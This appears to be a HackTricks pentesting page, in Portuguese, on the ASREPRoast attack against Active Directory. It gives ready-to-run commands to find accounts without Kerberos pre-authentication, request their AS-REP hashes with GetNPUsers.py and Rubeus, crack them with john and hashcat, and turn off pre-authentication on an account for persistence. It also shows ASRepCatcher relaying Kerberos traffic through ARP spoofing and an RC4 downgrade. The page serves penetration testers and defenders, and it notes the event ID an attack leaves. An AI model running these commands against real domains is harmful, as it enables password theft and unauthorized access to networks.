ASREPRoast

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

ASREPRoast

ASREPRoast é um ataque de segurança que explora usuários que não possuem o atributo requerido de pré-autenticação Kerberos. Essencialmente, essa vulnerabilidade permite que atacantes solicitem autenticação para um usuário do Controlador de Domínio (DC) sem precisar da senha do usuário. O DC então responde com uma mensagem criptografada com a chave derivada da senha do usuário, que os atacantes podem tentar quebrar offline para descobrir a senha do usuário.

Os principais requisitos para este ataque são:

  • Falta de pré-autenticação Kerberos: Os usuários-alvo não devem ter esse recurso de segurança habilitado.
  • Conexão ao Controlador de Domínio (DC): Os atacantes precisam de acesso ao DC para enviar solicitações e receber mensagens criptografadas.
  • Conta de domínio opcional: Ter uma conta de domínio permite que os atacantes identifiquem usuários vulneráveis de forma mais eficiente por meio de consultas LDAP. Sem essa conta, os atacantes devem adivinhar nomes de usuário.

Enumerando usuários vulneráveis (necessita de credenciais de domínio)

Using Windows
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
Using Linux
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Solicitar mensagem AS_REP

Using Linux
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
Using Windows
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

warning

AS-REP Roasting com Rubeus gerará um 4768 com um tipo de criptografia de 0x17 e um tipo de pré-autenticação de 0.

Quebra

bash
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistência

Force preauth não é necessário para um usuário onde você tem permissões GenericAll (ou permissões para escrever propriedades):

Using Windows
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
Using Linux
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH 'target_user'

ASREProast sem credenciais

Um atacante pode usar uma posição de man-in-the-middle para capturar pacotes AS-REP enquanto eles atravessam a rede, sem depender da desativação da pré-autenticação do Kerberos. Portanto, funciona para todos os usuários na VLAN.
ASRepCatcher nos permite fazer isso. Além disso, a ferramenta força as estações de trabalho dos clientes a usarem RC4 ao alterar a negociação do Kerberos.

bash
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

Referências


tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks